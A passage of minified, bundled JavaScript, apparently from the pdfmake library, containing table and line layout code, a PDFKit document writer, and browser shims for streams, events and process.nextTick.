                case"right":
                    i = e - n;
                    break;
                case"center":
                    i = (e - n) / 2
            }
            if (i && (t.x = (t.x || 0) + i), "justify" === r && !t.newLineForced && !t.lastLineInParagraph && t.inlines.length > 1) for (var o = (e - n) / (t.inlines.length - 1), a = 1, s = t.inlines.length; a < s; a++) i = a * o, t.inlines[a].x += i
        }, r.prototype.addImage = function (t, e) {
            var n = this.context, r = n.getCurrentPage(), o = this.getCurrentPositionOnPage();
            return !(n.availableHeight < t._height || !r) && (void 0 === t._x && (t._x = t.x || 0), t.x = n.x + t._x, t.y = n.y, this.alignImage(t), i(r, {
                type: "image",
                item: t
            }, e), n.moveDown(t._height), o)
        }, r.prototype.addQr = function (t, e) {
            var n = this.context, r = n.getCurrentPage(), i = this.getCurrentPositionOnPage();
            if (n.availableHeight < t._height || !r) return !1;
            void 0 === t._x && (t._x = t.x || 0), t.x = n.x + t._x, t.y = n.y, this.alignImage(t);
            for (var o = 0, a = t._canvas.length; o < a; o++) {
                var s = t._canvas[o];
                s.x += t.x, s.y += t.y, this.addVector(s, !0, !0, e)
            }
            return n.moveDown(t._height), i
        }, r.prototype.alignImage = function (t) {
            var e = this.context.availableWidth, n = t._minWidth, r = 0;
            switch (t._alignment) {
                case"right":
                    r = e - n;
                    break;
                case"center":
                    r = (e - n) / 2
            }
            r && (t.x = (t.x || 0) + r)
        }, r.prototype.addVector = function (t, e, n, r) {
            var o = this.context, a = o.getCurrentPage(), s = this.getCurrentPositionOnPage();
            if (a) return u(t, e ? 0 : o.x, n ? 0 : o.y), i(a, {type: "vector", item: t}, r), s
        }, r.prototype.addFragment = function (t, e, n, r) {
            var i = this.context, a = i.getCurrentPage();
            return !(!e && t.height > i.availableHeight) && (t.items.forEach(function (r) {
                switch (r.type) {
                    case"line":
                        var c = o(r.item);
                        c.x = (c.x || 0) + (e ? t.xOffset || 0 : i.x), c.y = (c.y || 0) + (n ? t.yOffset || 0 : i.y), a.items.push({type: "line", item: c});
                        break;
                    case"vector":
                        var l = s(r.item);
                        u(l, e ? t.xOffset || 0 : i.x, n ? t.yOffset || 0 : i.y), a.items.push({type: "vector", item: l});
                        break;
                    case"image":
                        var f = s(r.item);
                        f.x = (f.x || 0) + (e ? t.xOffset || 0 : i.x), f.y = (f.y || 0) + (n ? t.yOffset || 0 : i.y), a.items.push({type: "image", item: f})
                }
            }), r || i.moveDown(t.height), !0)
        }, r.prototype.pushContext = function (t, e) {
            void 0 === t && (e = this.context.getCurrentPage().height - this.context.pageMargins.top - this.context.pageMargins.bottom, t = this.context.availableWidth), ("number" == typeof t || t instanceof Number) && (t = new c({
                width: t,
                height: e
            }, {left: 0, right: 0, top: 0, bottom: 0})), this.contextStack.push(this.context), this.context = t
        }, r.prototype.popContext = function () {
            this.context = this.contextStack.pop()
        }, r.prototype.getCurrentPositionOnPage = function () {
            return (this.contextStack[0] || this.context).getCurrentPosition()
        }, t.exports = r
    }, function (t, e) {
        "use strict";

        function n(t) {
            this.maxWidth = t, this.leadingCut = 0, this.trailingCut = 0, this.inlineWidths = 0, this.inlines = []
        }

        n.prototype.getAscenderHeight = function () {
            var t = 0;
            return this.inlines.forEach(function (e) {
                t = Math.max(t, e.font.ascender / 1e3 * e.fontSize)
            }), t
        }, n.prototype.hasEnoughSpaceForInline = function (t) {
            return 0 === this.inlines.length || !this.newLineForced && this.inlineWidths + t.width - this.leadingCut - (t.trailingCut || 0) <= this.maxWidth
        }, n.prototype.addInline = function (t) {
            0 === this.inlines.length && (this.leadingCut = t.leadingCut || 0), this.trailingCut = t.trailingCut || 0, t.x = this.inlineWidths - this.leadingCut, this.inlines.push(t), this.inlineWidths += t.width, t.lineEnd && (this.newLineForced = !0)
        }, n.prototype.getWidth = function () {
            return this.inlineWidths - this.leadingCut - this.trailingCut
        }, n.prototype.getHeight = function () {
            var t = 0;
            return this.inlines.forEach(function (e) {
                t = Math.max(t, e.height || 0)
            }), t
        }, t.exports = n
    }, function (t, e, n) {
        "use strict";

        function r(t) {
            this.tableNode = t
        }

        var i = n(21);
        r.prototype.beginTable = function (t) {
            var e, n, r = this;
            e = this.tableNode, this.offsets = e._offsets, this.layout = e._layout, n = t.context().availableWidth - this.offsets.total, i.buildColumnWidths(e.table.widths, n), this.tableWidth = e._offsets.total + function () {
                var t = 0;
                return e.table.widths.forEach(function (e) {
                    t += e._calcWidth
                }), t
            }(), this.rowSpanData = function () {
                var t = [], e = 0, n = 0;
                t.push({left: 0, rowSpan: 0});
                for (var i = 0, o = r.tableNode.table.body[0].length; i < o; i++) {
                    n = r.layout.paddingLeft(i, r.tableNode) + r.layout.paddingRight(i, r.tableNode) + r.layout.vLineWidth(i, r.tableNode) + r.tableNode.table.widths[i]._calcWidth, t[t.length - 1].width = n, e += n, t.push({
                        left: e,
                        rowSpan: 0,
                        width: 0
                    })
                }
                return t
            }(), this.cleanUpRepeatables = !1, this.headerRows = e.table.headerRows || 0, this.rowsWithoutPageBreak = this.headerRows + (e.table.keepWithHeaderRows || 0), this.dontBreakRows = e.table.dontBreakRows || !1, this.rowsWithoutPageBreak && t.beginUnbreakableBlock(), function (t) {
                function e(e, n, r, i) {
                    var o = t[e][n];
                    o.border = o.border || {}, o.border[r] = i
                }

                for (var n = 0; n < t.length; n++) for (var r = t[n], i = 0; i < r.length; i++) {
                    var o = r[i];
                    if (o.border) {
                        for (var a = o.rowSpan || 1, s = o.colSpan || 1, u = 0; u < a; u++) void 0 !== o.border[0] && u > 0 && e(n + u, i, 0, o.border[0]), void 0 !== o.border[2] && e(n + u, i + s - 1, 2, o.border[2]);
                        for (var c = 0; c < s; c++) void 0 !== o.border[1] && c > 0 && e(n, i + c, 1, o.border[1]), void 0 !== o.border[3] && e(n + a - 1, i + c, 3, o.border[3])
                    }
                }
            }(this.tableNode.table.body), this.drawHorizontalLine(0, t)
        }, r.prototype.onRowBreak = function (t, e) {
            var n = this;
            return function () {
                var t = n.rowPaddingTop + (n.headerRows ? 0 : n.topLineWidth);
                e.context().moveDown(t)
            }
        }, r.prototype.beginRow = function (t, e) {
            this.topLineWidth = this.layout.hLineWidth(t, this.tableNode), this.rowPaddingTop = this.layout.paddingTop(t, this.tableNode), this.bottomLineWidth = this.layout.hLineWidth(t + 1, this.tableNode), this.rowPaddingBottom = this.layout.paddingBottom(t, this.tableNode), this.rowCallback = this.onRowBreak(t, e), e.tracker.startTracking("pageChanged", this.rowCallback), this.dontBreakRows && e.beginUnbreakableBlock(), this.rowTopY = e.context().y, this.reservedAtBottom = this.bottomLineWidth + this.rowPaddingBottom, e.context().availableHeight -= this.reservedAtBottom, e.context().moveDown(this.rowPaddingTop)
        }, r.prototype.drawHorizontalLine = function (t, e, n) {
            var r = this.layout.hLineWidth(t, this.tableNode);
            if (r) {
                for (var i = r / 2, o = null, a = this.tableNode.table.body, s = 0, u = this.rowSpanData.length; s < u; s++) {
                    var c = this.rowSpanData[s], l = !c.rowSpan;
                    if (l && s < u - 1) {
                        var f = !1, h = !1;
                        if (t < a.length) {
                            var p = a[t][s];
                            f     = p.border ? p.border[1] : this.layout.defaultBorder
                        }
                        if (t > 0) {
                            var d = a[t - 1][s];
                            h     = d.border ? d.border[3] : this.layout.defaultBorder
                        }
                        l = f || h
                    }
                    !o && l && (o = {left: c.left, width: 0}), l && (o.width += c.width || 0);
                    var g = (n || 0) + i;
                    l && s !== u - 1 || o && o.width && (e.addVector({
                        type: "line",
                        x1: o.left,
                        x2: o.left + o.width,
                        y1: g,
                        y2: g,
                        lineWidth: r,
                        lineColor: "function" == typeof this.layout.hLineColor ? this.layout.hLineColor(t, this.tableNode) : this.layout.hLineColor
                    }, !1, n), o = null)
                }
                e.context().moveDown(r)
            }
        }, r.prototype.drawVerticalLine = function (t, e, n, r, i) {
            var o = this.layout.vLineWidth(r, this.tableNode);
            0 !== o && i.addVector({
                type: "line",
                x1: t + o / 2,
                x2: t + o / 2,
                y1: e,
                y2: n,
                lineWidth: o,
                lineColor: "function" == typeof this.layout.vLineColor ? this.layout.vLineColor(r, this.tableNode) : this.layout.vLineColor
            }, !1, !0)
        }, r.prototype.endTable = function (t) {
            this.cleanUpRepeatables && t.popFromRepeatables()
        }, r.prototype.endRow = function (t, e, n) {
            var r, i, o = this;
            e.tracker.stopTracking("pageChanged", this.rowCallback), e.context().moveDown(this.layout.paddingBottom(t, this.tableNode)), e.context().availableHeight += this.reservedAtBottom;
            var a  = e.context().page, s = e.context().y, u = function () {
                for (var e = [], n = 0, r = 0, i = o.tableNode.table.body[t].length; r < i; r++) {
                    if (!n) {
                        e.push({x: o.rowSpanData[r].left, index: r});
                        var a = o.tableNode.table.body[t][r];
                        n     = a._colSpan || a.colSpan || 0
                    }
                    n > 0 && n--
                }
                return e.push({x: o.rowSpanData[o.rowSpanData.length - 1].left, index: o.rowSpanData.length - 1}), e
            }(), c = [], l = n && n.length > 0, f = this.tableNode.table.body;
            if (c.push({y0: this.rowTopY, page: l ? n[0].prevPage : a}), l) for (i = 0, r = n.length; i < r; i++) {
                var h = n[i];
                c[c.length - 1].y1 = h.prevY, c.push({y0: h.y, page: h.prevPage + 1})
            }
            c[c.length - 1].y1 = s;
            for (var p = c[0].y1 - c[0].y0 === this.rowPaddingTop, d = p ? 1 : 0, g = c.length; d < g; d++) {
                var v = d < c.length - 1, y = d > 0 && !this.headerRows, m = y ? 0 : this.topLineWidth, b = c[d].y0, w = c[d].y1;
                for (v && (w += this.rowPaddingBottom), e.context().page != c[d].page && (e.context().page = c[d].page, this.reservedAtBottom = 0), i = 0, r = u.length; i < r; i++) {
                    var x = !1, S = !1, k = u[i].index;
                    if (k < f[t].length) {
                        var _ = f[t][k];
                        x     = _.border ? _.border[0] : this.layout.defaultBorder
                    }
                    if (k > 0) {
                        var _ = f[t][k - 1];
                        S     = _.border ? _.border[2] : this.layout.defaultBorder
                    }
                    if ((x || S) && this.drawVerticalLine(u[i].x, b - m, w + this.bottomLineWidth, u[i].index, e), i < r - 1) {
                        var C = f[t][k].fillColor;
                        if (C || (C = "function" == typeof this.layout.fillColor ? this.layout.fillColor(t, this.tableNode) : this.layout.fillColor), C) {
                            var A = x || S ? this.layout.vLineWidth(k, this.tableNode) : 0, E = u[i].x + A, P = this.dontBreakRows ? b : b - m;
                            e.addVector({type: "rect", x: E, y: P, w: u[i + 1].x - E, h: w + this.bottomLineWidth - P, lineWidth: 0, color: C}, !1, !0, 0)
                        }
                    }
                }
                v && this.layout.hLineWhenBroken !== !1 && this.drawHorizontalLine(t + 1, e, w), y && this.layout.hLineWhenBroken !== !1 && this.drawHorizontalLine(t, e, b)
            }
            e.context().page = a, e.context().y = s;
            var I = this.tableNode.table.body[t];
            for (i = 0, r = I.length; i < r; i++) {
                if (I[i].rowSpan && (this.rowSpanData[i].rowSpan = I[i].rowSpan, I[i].colSpan && I[i].colSpan > 1)) for (var O = 1; O < I[i].rowSpan; O++) this.tableNode.table.body[t + O][i]._colSpan = I[i].colSpan;
                this.rowSpanData[i].rowSpan > 0 && this.rowSpanData[i].rowSpan--
            }
            this.drawHorizontalLine(t + 1, e), this.headerRows && t === this.headerRows - 1 && (this.headerRepeatable = e.currentBlockToRepeatable()), this.dontBreakRows && e.tracker.auto("pageChanged", function () {
                o.headerRows || o.layout.hLineWhenBroken === !1 || o.drawHorizontalLine(t, e)
            }, function () {
                e.commitUnbreakableBlock()
            }), !this.headerRepeatable || t !== this.rowsWithoutPageBreak - 1 && t !== this.tableNode.table.body.length - 1 || (e.commitUnbreakableBlock(), e.pushToRepeatables(this.headerRepeatable), this.cleanUpRepeatables = !0, this.headerRepeatable = null)
        }, t.exports = r
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o, a, s, u, c = function (t, e) {
                    function n() {
                        this.constructor = t
                    }

                    for (var r in e) l.call(e, r) && (t[r] = e[r]);
                    return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
                }, l                    = {}.hasOwnProperty;
                u = n(30), s = n(53), i = n(54), a = n(55), o = n(73), r = function (t) {
                    function r(t) {
                        var e, n, i, o;
                        if (this.options = null != t ? t : {}, r.__super__.constructor.apply(this, arguments), this.version = 1.3, this.compress = null == (n = this.options.compress) || n, this._pageBuffer = [], this._pageBufferStart = 0, this._offsets = [], this._waiting = 0, this._ended = !1, this._offset = 0, this._root = this.ref({
                                Type: "Catalog",
                                Pages: this.ref({Type: "Pages", Count: 0, Kids: []})
                            }), this.page = null, this.initColor(), this.initVector(), this.initFonts(), this.initText(), this.initImages(), this.info = {
                                Producer: "PDFKit",
                                Creator: "PDFKit",
                                CreationDate: new Date
                            }, this.options.info) {
                            i = this.options.info;
                            for (e in i) o = i[e], this.info[e] = o
                        }
                        this._write("%PDF-" + this.version), this._write("%ÿÿÿÿ"), this.options.autoFirstPage !== !1 && this.addPage()
                    }

                    var u;
                    return c(r, t), u = function (t) {
                        var e, n, i;
                        i = [];
                        for (n in t) e = t[n], i.push(r.prototype[n] = e);
                        return i
                    }, u(n(74)), u(n(76)), u(n(78)), u(n(282)), u(n(289)), u(n(295)), r.prototype.addPage = function (t) {
                        var e;
                        return null == t && (t = this.options), this.options.bufferPages || this.flushPages(), this.page = new o(this, t), this._pageBuffer.push(this.page), e = this._root.data.Pages.data, e.Kids.push(this.page.dictionary), e.Count++, this.x = this.page.margins.left, this.y = this.page.margins.top, this._ctm = [1, 0, 0, 1, 0, 0], this.transform(1, 0, 0, -1, 0, this.page.height), this.emit("pageAdded"), this
                    }, r.prototype.bufferedPageRange = function () {
                        return {start: this._pageBufferStart, count: this._pageBuffer.length}
                    }, r.prototype.switchToPage = function (t) {
                        var e;
                        if (!(e = this._pageBuffer[t - this._pageBufferStart])) throw new Error("switchToPage(" + t + ") out of bounds, current buffer covers pages " + this._pageBufferStart + " to " + (this._pageBufferStart + this._pageBuffer.length - 1));
                        return this.page = e
                    }, r.prototype.flushPages = function () {
                        var t, e, n, r;
                        for (r = this._pageBuffer, this._pageBuffer = [], this._pageBufferStart += r.length, t = 0, e = r.length; t < e; t++) n = r[t], n.end()
                    }, r.prototype.ref = function (t) {
                        var e;
                        return e = new a(this, this._offsets.length + 1, t), this._offsets.push(null), this._waiting++, e
                    }, r.prototype._read = function () {
                    }, r.prototype._write = function (t) {
                        return e.isBuffer(t) || (t = new e(t + "\n", "binary")), this.push(t), this._offset += t.length
                    }, r.prototype.addContent = function (t) {
                        return this.page.write(t), this
                    }, r.prototype._refEnd = function (t) {
                        if (this._offsets[t.id - 1] = t.offset, 0 == --this._waiting && this._ended) return this._finalize(), this._ended = !1
                    }, r.prototype.write = function (t, e) {
                        return new Error("PDFDocument#write is deprecated, and will be removed in a future version of PDFKit. Please pipe the document into a Node stream."), this.pipe(s.createWriteStream(t)), this.end(), this.once("end", e)
                    }, r.prototype.output = function (t) {
                        throw new Error("PDFDocument#output is deprecated, and has been removed from PDFKit. Please pipe the document into a Node stream.")
                    }, r.prototype.end = function () {
                        var t, e, n, r, i, o;
                        this.flushPages(), this._info = this.ref(), r = this.info;
                        for (e in r) o = r[e], "string" == typeof o && (o = new String(o)), this._info.data[e] = o;
                        this._info.end(), i = this._fontFamilies;
                        for (n in i) t = i[n], t.finalize();
                        return this._root.end(), this._root.data.Pages.end(), 0 === this._waiting ? this._finalize() : this._ended = !0
                    }, r.prototype._finalize = function (t) {
                        var e, n, r, o, a;
                        for (a = this._offset, this._write("xref"), this._write("0 " + (this._offsets.length + 1)), this._write("0000000000 65535 f "), o = this._offsets, e = 0, n = o.length; e < n; e++) r = o[e], r = ("0000000000" + r).slice(-10), this._write(r + " 00000 n ");
                        return this._write("trailer"), this._write(i.convert({
                            Size: this._offsets.length + 1,
                            Root: this._root,
                            Info: this._info
                        })), this._write("startxref"), this._write("" + a), this._write("%%EOF"), this.push(null)
                    }, r.prototype.toString = function () {
                        return "[object PDFDocument]"
                    }, r
                }(u.Readable), t.exports = r
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        function r() {
            i.call(this)
        }

        t.exports = r;
        var i     = n(31).EventEmitter;
        n(32)(r, i), r.Readable = n(33), r.Writable = n(49), r.Duplex = n(50), r.Transform = n(51), r.PassThrough = n(52), r.Stream = r, r.prototype.pipe = function (t, e) {
            function n(e) {
                t.writable && !1 === t.write(e) && c.pause && c.pause()
            }

            function r() {
                c.readable && c.resume && c.resume()
            }

            function o() {
                l || (l = !0, t.end())
            }

            function a() {
                l || (l = !0, "function" == typeof t.destroy && t.destroy())
            }

            function s(t) {
                if (u(), 0 === i.listenerCount(this, "error")) throw t
            }

            function u() {
                c.removeListener("data", n), t.removeListener("drain", r), c.removeListener("end", o), c.removeListener("close", a), c.removeListener("error", s), t.removeListener("error", s), c.removeListener("end", u), c.removeListener("close", u), t.removeListener("close", u)
            }

            var c = this;
            c.on("data", n), t.on("drain", r), t._isStdio || e && e.end === !1 || (c.on("end", o), c.on("close", a));
            var l = !1;
            return c.on("error", s), t.on("error", s), c.on("end", u), c.on("close", u), t.on("close", u), t.emit("pipe", c), t
        }
    }, function (t, e) {
        function n() {
            this._events = this._events || {}, this._maxListeners = this._maxListeners || void 0
        }

        function r(t) {
            return "function" == typeof t
        }

        function i(t) {
            return "number" == typeof t
        }

        function o(t) {
            return "object" == typeof t && null !== t
        }

        function a(t) {
            return void 0 === t
        }

        t.exports = n, n.EventEmitter = n, n.prototype._events = void 0, n.prototype._maxListeners = void 0, n.defaultMaxListeners = 10, n.prototype.setMaxListeners = function (t) {
            if (!i(t) || t < 0 || isNaN(t)) throw TypeError("n must be a positive number");
            return this._maxListeners = t, this
        }, n.prototype.emit = function (t) {
            var e, n, i, s, u, c;
            if (this._events || (this._events = {}), "error" === t && (!this._events.error || o(this._events.error) && !this._events.error.length)) {
                if ((e = arguments[1]) instanceof Error) throw e;
                var l = new Error('Uncaught, unspecified "error" event. (' + e + ")");
                throw l.context = e, l
            }
            if (n = this._events[t], a(n)) return !1;
            if (r(n)) switch (arguments.length) {
                case 1:
                    n.call(this);
                    break;
                case 2:
                    n.call(this, arguments[1]);
                    break;
                case 3:
                    n.call(this, arguments[1], arguments[2]);
                    break;
                default:
                    s = Array.prototype.slice.call(arguments, 1), n.apply(this, s)
            } else if (o(n)) for (s = Array.prototype.slice.call(arguments, 1), c = n.slice(), i = c.length, u = 0; u < i; u++) c[u].apply(this, s);
            return !0
        }, n.prototype.addListener = function (t, e) {
            var i;
            if (!r(e)) throw TypeError("listener must be a function");
            return this._events || (this._events = {}), this._events.newListener && this.emit("newListener", t, r(e.listener) ? e.listener : e), this._events[t] ? o(this._events[t]) ? this._events[t].push(e) : this._events[t] = [this._events[t], e] : this._events[t] = e, o(this._events[t]) && !this._events[t].warned && (i = a(this._maxListeners) ? n.defaultMaxListeners : this._maxListeners) && i > 0 && this._events[t].length > i && (this._events[t].warned = !0, console.trace), this
        }, n.prototype.on = n.prototype.addListener, n.prototype.once = function (t, e) {
            function n() {
                this.removeListener(t, n), i || (i = !0, e.apply(this, arguments))
            }

            if (!r(e)) throw TypeError("listener must be a function");
            var i = !1;
            return n.listener = e, this.on(t, n), this
        }, n.prototype.removeListener = function (t, e) {
            var n, i, a, s;
            if (!r(e)) throw TypeError("listener must be a function");
            if (!this._events || !this._events[t]) return this;
            if (n = this._events[t], a = n.length, i = -1, n === e || r(n.listener) && n.listener === e) delete this._events[t], this._events.removeListener && this.emit("removeListener", t, e); else if (o(n)) {
                for (s = a; s-- > 0;) if (n[s] === e || n[s].listener && n[s].listener === e) {
                    i = s;
                    break
                }
                if (i < 0) return this;
                1 === n.length ? (n.length = 0, delete this._events[t]) : n.splice(i, 1), this._events.removeListener && this.emit("removeListener", t, e)
            }
            return this
        }, n.prototype.removeAllListeners = function (t) {
            var e, n;
            if (!this._events) return this;
            if (!this._events.removeListener) return 0 === arguments.length ? this._events = {} : this._events[t] && delete this._events[t], this;
            if (0 === arguments.length) {
                for (e in this._events) "removeListener" !== e && this.removeAllListeners(e);
                return this.removeAllListeners("removeListener"), this._events = {}, this
            }
            if (n = this._events[t], r(n)) this.removeListener(t, n); else if (n) for (; n.length;) this.removeListener(t, n[n.length - 1]);
            return delete this._events[t], this
        }, n.prototype.listeners = function (t) {
            return this._events && this._events[t] ? r(this._events[t]) ? [this._events[t]] : this._events[t].slice() : []
        }, n.prototype.listenerCount = function (t) {
            if (this._events) {
                var e = this._events[t];
                if (r(e)) return 1;
                if (e) return e.length
            }
            return 0
        }, n.listenerCount = function (t, e) {
            return t.listenerCount(e)
        }
    }, function (t, e) {
        "function" == typeof Object.create ? t.exports = function (t, e) {
            t.super_ = e, t.prototype = Object.create(e.prototype, {constructor: {value: t, enumerable: !1, writable: !0, configurable: !0}})
        } : t.exports = function (t, e) {
            t.super_ = e;
            var n    = function () {
            };
            n.prototype = e.prototype, t.prototype = new n, t.prototype.constructor = t
        }
    }, function (t, e, n) {
        (function (r) {
            var i = function () {
                try {
                    return n(30)
                } catch (t) {
                }
            }();
            e = t.exports = n(35), e.Stream = i || e, e.Readable = e, e.Writable = n(42), e.Duplex = n(41), e.Transform = n(47), e.PassThrough = n(48), !r.browser && "disable" === r.env.READABLE_STREAM && i && (t.exports = i)
        }).call(e, n(34))
    }, function (t, e) {
        function n() {
            throw new Error("setTimeout has not been defined")
        }

        function r() {
            throw new Error("clearTimeout has not been defined")
        }

        function i(t) {
            if (l === setTimeout) return setTimeout(t, 0);
            if ((l === n || !l) && setTimeout) return l = setTimeout, setTimeout(t, 0);
            try {
                return l(t, 0)
            } catch (e) {
                try {
                    return l.call(null, t, 0)
                } catch (e) {
                    return l.call(this, t, 0)
                }
            }
        }

        function o(t) {
            if (f === clearTimeout) return clearTimeout(t);
            if ((f === r || !f) && clearTimeout) return f = clearTimeout, clearTimeout(t);
            try {
                return f(t)
            } catch (e) {
                try {
                    return f.call(null, t)
                } catch (e) {
                    return f.call(this, t)
                }
            }
        }

        function a() {
            g && p && (g = !1, p.length ? d = p.concat(d) : v = -1, d.length && s())
        }

        function s() {
            if (!g) {
                var t = i(a);
                g     = !0;
                for (var e = d.length; e;) {
                    for (p = d, d = []; ++v < e;) p && p[v].run();
                    v = -1, e = d.length
                }
                p = null, g = !1, o(t)
            }
        }

        function u(t, e) {
            this.fun = t, this.array = e
        }

        function c() {
        }

        var l, f, h = t.exports = {};
        !function () {
            try {
                l = "function" == typeof setTimeout ? setTimeout : n
            } catch (t) {
                l = n
            }
            try {
                f = "function" == typeof clearTimeout ? clearTimeout : r
            } catch (t) {
                f = r
            }
        }();
        var p, d = [], g = !1, v = -1;
        h.nextTick = function (t) {
            var e = new Array(arguments.length - 1);
            if (arguments.length > 1) for (var n = 1; n < arguments.length; n++) e[n - 1] = arguments[n];
            d.push(new u(t, e)), 1 !== d.length || g || i(s)
        }, u.prototype.run = function () {
            this.fun.apply(null, this.array)
        }, h.title = "browser", h.browser = !0, h.env = {}, h.argv = [], h.version = "", h.versions = {}, h.on = c, h.addListener = c, h.once = c, h.off = c, h.removeListener = c, h.removeAllListeners = c, h.emit = c, h.binding = function (t) {
            throw new Error("process.binding is not supported")
        }, h.cwd = function () {
            return "/"
        }, h.chdir = function (t) {
            throw new Error("process.chdir is not supported")
        }, h.umask = function () {
            return 0
        }
    }, function (t, e, n) {
        (function (e) {
            "use strict";

            function r(t, e, n) {
                if ("function" == typeof t.prependListener) return t.prependListener(e, n);
                t._events && t._events[e] ? T(t._events[e]) ? t._events[e].unshift(n) : t._events[e] = [n, t._events[e]] : t.on(e, n)
            }

            function i(t, e) {
                I = I || n(41), t = t || {}, this.objectMode = !!t.objectMode, e instanceof I && (this.objectMode = this.objectMode || !!t.readableObjectMode);
                var r = t.highWaterMark, i = this.objectMode ? 16 : 16384;
                this.highWaterMark = r || 0 === r ? r : i, this.highWaterMark = ~~this.highWaterMark, this.buffer = new U, this.length = 0, this.pipes = null, this.pipesCount = 0, this.flowing = null, this.ended = !1, this.endEmitted = !1, this.reading = !1, this.sync = !0, this.needReadable = !1, this.emittedReadable = !1, this.readableListening = !1, this.resumeScheduled = !1, this.defaultEncoding = t.defaultEncoding || "utf8", this.ranOut = !1, this.awaitDrain = 0, this.readingMore = !1, this.decoder = null, this.encoding = null, t.encoding && (N || (N = n(46).StringDecoder), this.decoder = new N(t.encoding), this.encoding = t.encoding)
            }

            function o(t) {
                if (I = I || n(41), !(this instanceof o)) return new o(t);
                this._readableState = new i(t, this), this.readable = !0, t && "function" == typeof t.read && (this._read = t.read), L.call(this)
            }

            function a(t, e, n, r, i) {
                var o = l(e, n);
                if (o) t.emit("error", o); else if (null === n) e.reading = !1, f(t, e); else if (e.objectMode || n && n.length > 0) if (e.ended && !i) {
                    var a = new Error("stream.push() after EOF");
                    t.emit("error", a)
                } else if (e.endEmitted && i) {
                    var u = new Error("stream.unshift() after end event");
                    t.emit("error", u)
                } else {
                    var c;
                    !e.decoder || i || r || (n = e.decoder.write(n), c = !e.objectMode && 0 === n.length), i || (e.reading = !1), c || (e.flowing && 0 === e.length && !e.sync ? (t.emit("data", n), t.read(0)) : (e.length += e.objectMode ? 1 : n.length, i ? e.buffer.unshift(n) : e.buffer.push(n), e.needReadable && h(t))), d(t, e)
                } else i || (e.reading = !1);
                return s(e)
            }

            function s(t) {
                return !t.ended && (t.needReadable || t.length < t.highWaterMark || 0 === t.length)
            }

            function u(t) {
                return t >= W ? t = W : (t--, t |= t >>> 1, t |= t >>> 2, t |= t >>> 4, t |= t >>> 8, t |= t >>> 16, t++), t
            }

            function c(t, e) {
                return t <= 0 || 0 === e.length && e.ended ? 0 : e.objectMode ? 1 : t !== t ? e.flowing && e.length ? e.buffer.head.data.length : e.length : (t > e.highWaterMark && (e.highWaterMark = u(t)), t <= e.length ? t : e.ended ? e.length : (e.needReadable = !0, 0))
            }

            function l(t, e) {
                var n = null;
                return R.isBuffer(e) || "string" == typeof e || null === e || void 0 === e || t.objectMode || (n = new TypeError("Invalid non-string/buffer chunk")), n
            }

            function f(t, e) {
                if (!e.ended) {
                    if (e.decoder) {
                        var n = e.decoder.end();
                        n && n.length && (e.buffer.push(n), e.length += e.objectMode ? 1 : n.length)
                    }
                    e.ended = !0, h(t)
                }
            }

            function h(t) {
                var e = t._readableState;
                e.needReadable = !1, e.emittedReadable || (D("emitReadable", e.flowing), e.emittedReadable = !0, e.sync ? O(p, t) : p(t))
            }

            function p(t) {
                D("emit readable"), t.emit("readable"), w(t)
            }

            function d(t, e) {
                e.readingMore || (e.readingMore = !0, O(g, t, e))
            }

            function g(t, e) {
                for (var n = e.length; !e.reading && !e.flowing && !e.ended && e.length < e.highWaterMark && (D("maybeReadMore read 0"), t.read(0), n !== e.length);) n = e.length;
                e.readingMore = !1
            }

            function v(t) {
                return function () {
                    var e = t._readableState;
                    D("pipeOnDrain", e.awaitDrain), e.awaitDrain && e.awaitDrain--, 0 === e.awaitDrain && B(t, "data") && (e.flowing = !0, w(t))
                }
            }

            function y(t) {
                D("readable nexttick read 0"), t.read(0)
            }

            function m(t, e) {
                e.resumeScheduled || (e.resumeScheduled = !0, O(b, t, e))
            }

            function b(t, e) {
                e.reading || (D("resume read 0"), t.read(0)), e.resumeScheduled = !1, e.awaitDrain = 0, t.emit("resume"), w(t), e.flowing && !e.reading && t.read(0)
            }

            function w(t) {
                var e = t._readableState;
                for (D("flow", e.flowing); e.flowing && null !== t.read();) ;
            }

            function x(t, e) {
                if (0 === e.length) return null;
                var n;
                return e.objectMode ? n = e.buffer.shift() : !t || t >= e.length ? (n = e.decoder ? e.buffer.join("") : 1 === e.buffer.length ? e.buffer.head.data : e.buffer.concat(e.length), e.buffer.clear()) : n = S(t, e.buffer, e.decoder), n
            }

            function S(t, e, n) {
                var r;
                return t < e.head.data.length ? (r = e.head.data.slice(0, t), e.head.data = e.head.data.slice(t)) : r = t === e.head.data.length ? e.shift() : n ? k(t, e) : _(t, e), r
            }

            function k(t, e) {
                var n = e.head, r = 1, i = n.data;
                for (t -= i.length; n = n.next;) {
                    var o = n.data, a = t > o.length ? o.length : t;
                    if (a === o.length ? i += o : i += o.slice(0, t), 0 === (t -= a)) {
                        a === o.length ? (++r, n.next ? e.head = n.next : e.head = e.tail = null) : (e.head = n, n.data = o.slice(a));
                        break
                    }
                    ++r
                }
                return e.length -= r, i
            }

            function _(t, e) {
                var n = M.allocUnsafe(t), r = e.head, i = 1;
                for (r.data.copy(n), t -= r.data.length; r = r.next;) {
                    var o = r.data, a = t > o.length ? o.length : t;
                    if (o.copy(n, n.length - t, 0, a), 0 === (t -= a)) {
                        a === o.length ? (++i, r.next ? e.head = r.next : e.head = e.tail = null) : (e.head = r, r.data = o.slice(a));
                        break
                    }
                    ++i
                }
                return e.length -= i, n
            }

            function C(t) {
                var e = t._readableState;
                if (e.length > 0) throw new Error('"endReadable()" called on non-empty stream');
                e.endEmitted || (e.ended = !0, O(A, e, t))
            }

            function A(t, e) {
                t.endEmitted || 0 !== t.length || (t.endEmitted = !0, e.readable = !1, e.emit("end"))
            }

            function E(t, e) {
                for (var n = 0, r = t.length; n < r; n++) e(t[n], n)
            }

            function P(t, e) {
                for (var n = 0, r = t.length; n < r; n++) if (t[n] === e) return n;
                return -1
            }

            t.exports       = o;
            var I, O        = n(36), T = n(5);
            o.ReadableState = i;
            var L, B        = (n(31).EventEmitter, function (t, e) {
                return t.listeners(e).length
            });
            !function () {
                try {
                    L = n(30)
                } catch (t) {
                } finally {
                    L || (L = n(31).EventEmitter)
                }
            }();
            var R      = n(2).Buffer, M = n(37), z = n(38);
            z.inherits = n(32);
            var F      = n(39), D = void 0;
            D          = F && F.debuglog ? F.debuglog("stream") : function () {
            };
            var N, U   = n(40);
            z.inherits(o, L), o.prototype.push = function (t, e) {
                var n = this._readableState;
